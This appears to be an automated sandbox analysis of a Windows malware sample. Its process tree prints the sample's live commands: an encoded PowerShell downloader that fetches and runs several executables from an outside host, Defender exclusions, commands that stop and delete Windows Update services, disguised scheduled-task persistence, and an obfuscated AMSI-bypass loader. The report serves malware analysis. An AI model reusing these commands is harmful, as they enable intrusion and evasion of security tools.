Analysis

  • max time kernel
    66s
  • max time network
    63s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/01/2023, 19:05

General

  • Target

    b405694fbedc3ed57f486a0bd892fb48b2917d49.exe

  • Size

    360KB

  • MD5

    9c0c75bb31dfa46b2c91c12693bf45dd

  • SHA1

    b405694fbedc3ed57f486a0bd892fb48b2917d49

  • SHA256

    c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe

  • SHA512

    cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44

  • SSDEEP

    6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{3605ae73-3e7a-4e24-8531-416d823f5c95}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2148
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:1108
        • C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
          "C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4876
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4780
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
              4⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2088
              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                5⤵
                • Executes dropped EXE
                PID:4424
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4288
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:4196
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 252
            3⤵
            • Program crash
            PID:1008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4248
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:1196
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:5104
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:2268
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:4240
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:2900
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:1848
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:3768
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                • Modifies security service
                PID:4908
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                3⤵
                  PID:4768
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  3⤵
                    PID:3828
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:948
                • C:\Windows\System32\dialer.exe
                  C:\Windows\System32\dialer.exe
                  2⤵
                    PID:4788
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4876 -ip 4876
                  1⤵
                    PID:2932
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:aCjsyqqbdHEA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rCOeLToPNNOgmE,[Parameter(Position=1)][Type]$NRDwnchQqJ)$DBvqSEfbPAd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'m'+[Char](111)+'r'+'y'+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'ns'+'i'+'C'+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$DBvqSEfbPAd.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+'e'+'cia'+'l'+''+'N'+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$rCOeLToPNNOgmE).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+'M'+'a'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$DBvqSEfbPAd.DefineMethod(''+[Char](73)+'n'+'v'+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'ic'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+'ew'+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$NRDwnchQqJ,$rCOeLToPNNOgmE).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+'i'+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+'a'+'ged');Write-Output $DBvqSEfbPAd.CreateType();}$nWYTLfcfyvpAb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+'oso'+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+'a'+''+[Char](102)+''+'e'+''+'n'+''+[Char](87)+''+'Y'+'T'+[Char](76)+''+[Char](102)+'cf'+'y'+'v'+'p'+''+'A'+'b');$lGdyxTcnfufSnI=$nWYTLfcfyvpAb.GetMethod('l'+[Char](71)+''+'d'+''+[Char](121)+''+[Char](120)+''+[Char](84)+''+'c'+''+'n'+''+[Char](102)+''+'u'+'f'+[Char](83)+''+'n'+''+'I'+'',[Reflection.BindingFlags]'Pub'+[Char](108)+''+'i'+'c,'+[Char](83)+''+[Char](116)+''+'a'+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PpdlfNgeWdYLHnvSPIY=aCjsyqqbdHEA @([String])([IntPtr]);$SZOlWzjpWmdUlBShWJddSw=aCjsyqqbdHEA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lafgCWhCljf=$nWYTLfcfyvpAb.GetMethod(''+'G'+''+[Char](101)+'tM'+[Char](111)+'d'+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+'l')));$BvQKrjJDvYzlOo=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$lafgCWhCljf,[Object]('Lo'+[Char](97)+''+[Char](100)+'Li'+'b'+'r'+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$fjYbidnGMFJxnHPFD=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$lafgCWhCljf,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$pdqsddz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BvQKrjJDvYzlOo,$PpdlfNgeWdYLHnvSPIY).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$VNsjSQRECelTWNDVV=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$pdqsddz,[Object](''+[Char](65)+''+'m'+''+'s'+'i'+[Char](83)+'c'+[Char](97)+'nB'+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$OzDIYaDdPR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fjYbidnGMFJxnHPFD,$SZOlWzjpWmdUlBShWJddSw).Invoke($VNsjSQRECelTWNDVV,[uint32]8,4,[ref]$OzDIYaDdPR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$VNsjSQRECelTWNDVV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fjYbidnGMFJxnHPFD,$SZOlWzjpWmdUlBShWJddSw).Invoke($VNsjSQRECelTWNDVV,[uint32]8,0x20,[ref]$OzDIYaDdPR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'rs'+'t'+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                    1⤵
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4996
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YUuVVdaksdbl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kaPgflccpjoYWN,[Parameter(Position=1)][Type]$RZlsdmviOY)$eOIuPUrzkmg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'fle'+'c'+'t'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'e'+'T'+'y'+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+'ss,P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'n'+[Char](115)+'iC'+'l'+''+'a'+''+'s'+''+[Char](115)+''+','+''+'A'+''+'u'+'t'+[Char](111)+''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$eOIuPUrzkmg.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kaPgflccpjoYWN).SetImplementationFlags(''+[Char](82)+'unti'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$eOIuPUrzkmg.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+'N'+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'rt'+[Char](117)+''+'a'+'l',$RZlsdmviOY,$kaPgflccpjoYWN).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $eOIuPUrzkmg.CreateType();}$qHuQxRUzoQjzx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+'m'+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+''+'i'+''+'c'+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.'+[Char](87)+'i'+[Char](110)+''+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](113)+''+[Char](72)+''+[Char](117)+''+[Char](81)+''+'x'+''+'R'+''+'U'+''+[Char](122)+''+[Char](111)+'Qjz'+[Char](120)+'');$AILsDTvaAMWcnG=$qHuQxRUzoQjzx.GetMethod('A'+[Char](73)+'Ls'+'D'+'T'+'v'+'a'+[Char](65)+''+[Char](77)+'Wc'+'n'+''+[Char](71)+'',[Reflection.BindingFlags]'P'+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UcnzUmZsvIPTUKlOJUt=YUuVVdaksdbl @([String])([IntPtr]);$CzpPFTsdYSlJdYDXKrTMbz=YUuVVdaksdbl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pRaQkZErSje=$qHuQxRUzoQjzx.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$BccQouMHzzlria=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pRaQkZErSje,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+'y'+'A')));$YpYMiXakTGbaYOKev=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pRaQkZErSje,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$pTlvgXe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BccQouMHzzlria,$UcnzUmZsvIPTUKlOJUt).Invoke(''+[Char](97)+''+'m'+''+'s'+'i'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$hbgoeWwOrOLOPDEiZ=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pTlvgXe,[Object]('A'+[Char](109)+'s'+'i'+'Sc'+[Char](97)+'n'+'B'+''+[Char](117)+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$WRCMvcGPme=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YpYMiXakTGbaYOKev,$CzpPFTsdYSlJdYDXKrTMbz).Invoke($hbgoeWwOrOLOPDEiZ,[uint32]8,4,[ref]$WRCMvcGPme);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hbgoeWwOrOLOPDEiZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YpYMiXakTGbaYOKev,$CzpPFTsdYSlJdYDXKrTMbz).Invoke($hbgoeWwOrOLOPDEiZ,[uint32]8,0x20,[ref]$WRCMvcGPme);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                    1⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4064

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    4KB

                    MD5

                    bdb25c22d14ec917e30faf353826c5de

                    SHA1

                    6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                    SHA256

                    e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                    SHA512

